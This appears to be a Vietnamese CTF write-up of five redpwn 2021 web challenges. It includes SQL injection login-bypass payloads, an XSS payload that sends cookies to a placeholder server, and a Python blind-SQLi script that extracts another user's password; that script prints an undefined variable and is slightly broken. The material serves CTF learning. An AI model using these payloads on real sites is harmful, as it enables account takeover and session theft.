🇻🇳
th13
  • info
  • JAVA
    • Notes: RMI linh tinh
    • [CVE-2013-2165] Phân tích RichFaces vulnerability thông qua CTF challenge
  • CTF WRITE UP
    • [Web]ImaginaryCTF 2021
    • [Web]CSAW CTF 2021
    • [Web]RaRCTF 2021
    • [Web]LIT CTF 07/2021
    • [Web]redpwn 2021
    • [Web]WeCTF 2021
    • [Web]WannaGame 21/05/2021
    • [Web]San Diego CTF 2021
    • [Web]picoMini by redpwn
    • [Web]WannaGame 17/04/2021
    • [Web]picoCTF 2021
    • [Web]BambooCTF/Calc.exe
  • saved
    • Tài liệu JAV Sờ cu 101
    • [NT230]PE file Injection
    • [WU][web]root-me
    • [WU]Lord of SQLinjection
    • [WU][Web]CyberTalents
    • [exploit][sqli]Challenge ngày Tết
Powered by GitBook
On this page
  • inspect-me
  • orm-bad
  • pastebin-1
  • secure
  • cool

Was this helpful?

Edit on GitHub
  1. CTF WRITE UP

[Web]redpwn 2021

Previous[Web]LIT CTF 07/2021Next[Web]WeCTF 2021

Last updated 3 years ago

Was this helpful?

Saved sources:

inspect-me

Ctrl+U -> Ctrl+F 'flag'

flag{inspect_me_like_123}

orm-bad

Bài này là sqli cơ bản, trong source app.js có statement SELECT sql dễ bị khai thác:

Username: admin' -- -

Password: gicungduoc

flag{sqli_overused_again_0b4f6}

pastebin-1

Đây là 1 bài CSS cơ bản.

Create Paste: <script>fetch('yourserver.com?c=' + document.cookie)</script>

Submit url đến Admin bot, và kiểm tra server:

flag{d1dn7_n33d_70_b3_1n_ru57}

secure

Đây là sqli cơ bản dễ dàng khai thác tại statement SELECT, nhưng trước khi gửi thì username và password được base64 encode nên cần dùng Proxy để sửa trước khi gửi đi.

PAYLOAD: username=gicungduoc&password='+or+1=1+--+-

flag{50m37h1n6_50m37h1n6_cl13n7_n07_600d}

cool

Source app.py cho ta biết: account ginkoid được insert vào db mỗi lần khởi tạo, password của user này có 32 ký tự ngẫu nhiên, chức năng register chỉ cho phép tạo tên chứa chữ và số.

Với chức năng register thì có một chỗ có thể khai thác là không check password.

Ý tưởng: Mình sẽ tạo 1 account với username random và password là 1 ký tự của password user ginkoid. Không biết password đó là gì, mình đăng nhập để bruteforce 1 ký tự password đó bằng username vừa đăng ký. Nếu login thành công thì CHÍNH NÓ =))) làm lại như vậy 32 lần!

import requests
import re

s = requests.Session()


def register(username, password):
    req = {'username': username, 'password': password}
    page = s.post('https://cool.mc.ax/register', data=req)

    if 'You are logged in!' not in page.text:
        print(f'failed to register username: {username}')
        exit(1)


def logout():
    s.get('https://cool.mc.ax/logout')


def login(username, password):
    logout()
    req = {'username': username, 'password': password}
    page = s.post('https://cool.mc.ax/', data=req)
    return 'You are logged in!' in page.text


def make_username(user):
    username = 'thientestne' + str(user)
    return username.replace('0', 'X')


def bruteforce_char(i):
    pswd = f"'||(SELECT substr(password,{i+1},1) FROM users));--"
    register(make_username(i), pswd)

    allowed_characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789'
    for c in allowed_characters:
        success = login(make_username(i), c)
        if success:
            print(c)
            return c

    print(f"{i}")
    exit(1)


psw = ''

for i in range(32):
    psw += bruteforce_char(i)

print(f"password: {computed_pswd}")

req = {'username': 'ginkoid', 'password': psw}
page = s.post('https://cool.mc.ax/', data=req)
print(re.findall("flag\{[ -z|~]+\}", page.text)[0])

flag{44r0n_s4ys_s08r137y_1s_c00l}

https://github.com/th13ntc/ctf-source-saved/tree/main/redpwn-07-2021